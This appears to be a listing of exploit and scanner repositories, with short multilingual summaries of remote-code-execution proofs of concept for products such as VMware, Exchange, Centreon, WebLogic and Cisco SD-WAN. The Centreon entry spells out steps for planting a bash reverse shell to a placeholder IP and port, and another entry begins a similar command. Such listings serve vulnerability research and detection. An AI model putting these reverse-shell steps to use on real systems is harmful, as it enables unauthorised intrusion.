CVE-2022-22954-PoC

CVE-2022-22954 PoC VMware Workspace ONE Access и Identity Manager RCE через SSTI. CVE-2022-22954 - PoC SSTI Использование: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file | manual...

CVE-2018-16763

CVE 2018-16763 Эксплойт Введение PreAuth-RCE на FUEL CMS 1.4.1 Демонстрация Ссылки: https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

CTT-Exchange-RCE-v1.0---Microsoft-Exchange-Exploit-CVSS-10.0-CRITICAL-CVE-2021-26855-CVE-2021-27065

CTT-Exchange-RCE-v1.0---Exploitation-Microsoft-Exchange---CVSS-10.0-CRITIQUE---CVE-2021-26855---CVE-2021-27065 Version améliorée par CTT de l'exploit SSRF vers RCE du serveur Microsoft Exchange ProxyShell/ProxyLogon, une autre vulnérabilité critique CVSS 10.0 qui a touché des centaines de millier...

follina-spring

Follina MS-MSDT эксплуатация с помощью Spring Boot Этот репозиторий содержит простое Spring Boot приложение, которое одновременно выступает в роли сервера для размещения/активации полезных нагрузок Follina , а также в качестве генератора вредоносных документов Word , готовых к использованию в...

uro

uro Using a URL list for security testing can be painful as there are a lot of URLs that have uninteresting/duplicate content; uro aims to solve that. It doesn't make any http requests to the URLs and removes: incremental urls e.g. /page/1/ and /page/2/ blog posts and similar human written conten...

CVE-2025-33053-WebDAV-RCE-PoC-and-C2-Concept

CVE-2025-33053 - WebDAV 원격 코드 실행RCE PoC 및 C2 시뮬레이션 ⚠️ 교육 목적으로만 사용하세요 이 프로젝트는 WebDAV와 .url 파일 전달을 악용하여 실제적인 원격 코드 실행을 구현하는 개념 증명PoC을 시연합니다. 미끼 기반 실행 파일과 명령 및 제어C2 기능의 통제된 시뮬레이션을 포함합니다. 악성 페이로드는 공유되지 않습니다. 📜 개요 이 저장소는 Windows가 WebDAV 공유를 가리키는 .url 파일을 처리하는 방식의 취약점인 CVE-2025-33053 에 대한 PoC를 포함합니다. 이...

thinkphp5.XRce

ThinkPHP5.0 скрипт обнаружения уязвимостей Переписан на основе скрипта @tdcoming Введение: Затрагиваемые версии: v5.1.x 5.1.31 v5.0.x= 5.0.23 Использование: 1. pip install -r requirements.txt 2. Создайте файл url.txt в директории скрипта 3. Поместите URL для проверки в этот файл 4. Запустите скри...

CVE-2019-19699

CVE-2019-19699 Centreon = 명령어 기타로 이동합니다. 아래 이미지와 같이 추가 를 클릭합니다. 이제 bash 리버스 셸 을 Miscellaneous 명령어로 생성합니다. !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 그리고 저장 을 클릭합니다. 이제 설정 Pollers로 이동한 후 현재 Central 폴러를 클릭합니다. 이것은 폴러 구성 수정 메뉴에 접근할 수 있게 해줍니다. 여기서 아래로 스크롤하여 재시작 후 명령어 를 설정할 수 있습니다. 이전에 생성한 리버스 셸 을 선택하고...

CVE-2026-20127---Cisco-SD-WAN-Preauth-RCE

CVE-2026-20127---Cisco-SD-WAN-Preauth-RCE Cisco SD-WAN Zero-Day CVE-2026-20127, эксплуатируемая с 2023 года для получения административного доступа. Этот репозиторий содержит рабочий proof-of-concept эксплойт для CVE-2026-20127 — критической уязвимости предварительной аутентификации в Cisco...

CVE-2019-2890

CVE-2019-2890 Vulnérabilité RCE de désérialisation WebLogic 0x01 Télécharger SerializedSystemIni.dat /root/Oracle/Middleware/userprojects/domains/basedomain/security root@159475444bab:/Oracle/Middleware/userprojects/domains/basedomain/security md5sum SerializedSystemIni.dat...

React2Shell

⚛️ React2Shell CVE-2025-55182 Kit d'exploitation avancé pour les Server Actions Next.js CVE-2025-55182. React2Shell est un puissant wrapper de shell interactif conçu pour exploiter la vulnérabilité React2Shell. Il va au-delà du simple RCE en offrant un historique des commandes, des capacités de...

CVE-2022-1388-EXP

F5 BIG-IP RCE 확인 확인： CVE-2022-1388 F5 BIG-IP RCE 대량 탐지 exp： 참고: exp는 CVE-2021-22986에서 수정되었습니다!...

CVE-2022-41080

CVE-2022-41080 Описание CrowdStrike недавно обнаружила новый метод эксплуатации названный OWASSRF, состоящий из CVE-2022-41080 и CVE-2022-41082, для удаленного выполнения кода RCE через Outlook Web Access OWA. Новый метод эксплуатации обходит исправления URL-перезаписи для конечной точки...

Moodle-authenticated-RCE

Moodle 4.4.0 - Эксплойт для аутентифицированного удаленного выполнения кода CVE-2024-43425 CVE: CVE-2024-43425 Затронутые версии Moodle 4.4 – 4.4.1 Moodle 4.3 – 4.3.5 Moodle 4.2 – 4.2.8 Moodle 4.1 – 4.1.11 Описание Этот эксплойт нацелен на уязвимость аутентифицированного удаленного выполнения код...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Генератор артефактов обнаружения для Oracle E-Business Suite CVE-2025-61882 Технические подробности см. в нашем посте в блоге Детектирование в действии python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i &...

CVE-2025-54322

CVE-2025-54322 - Scanner RCE Pré-Auth XSpeeder SXZOS Un scanner de vulnérabilité multi-threadé pour CVE-2025-54322, une vulnérabilité d'exécution de code à distance non authentifiée dans le firmware XSpeeder SXZOS affectant environ 70 000+ hôtes dans le monde. 📋 Table des matières À propos de la...

VMware_vCenter_UNAuthorized_RCE_CVE-2021-21972

VMwarevCenterUNAuthorizedRCECVE-2021-21972 zoomeye dork：app:"VMware vCenter" Безвредный скрипт обнаружения, написанный с использованием pocsuite3 VMwarevCenterUNAuthorizedRCE.py, протестирован на данных за последний год: Уровень успеха: 1551 / 3998 = 39%...

ItWasAllADream

Tout n'était qu'un rêve Un scanner Python pour CVE-2021-34527 alias PrintNightmare. Vous permet de scanner des sous-réseaux entiers pour le RCE PrintNightmare pas le LPE et génère un rapport CSV avec les résultats. Teste l'exploitabilité via MS-PAR et MS-RPRN. Cet outil contient des versions «...

ezviz_lan_rce

ezvizlanrce This repository contains the slides and PoC videos for the talk SADProtocol goes to Hollywood which was presented at DEF CON 31 Hardware Hacking Village. You can also find the docker image to build binaries that run on the camera and the proof of concept exploits for CVE-2023-34551 an...

sagex3-cve-2020-7388-poc

sagex3-cve-2020-7388-poc Код эксплойта для проверки концепции PoC CVE-2020-7388 — неаутентифицированное удаленное выполнение кода с правами SYSTEM в службе AdxDSrv Sage X3 Обзор Sage X3 предоставляет административную службу на порту TCP/1818 по умолчанию, но может быть изменён в процессе...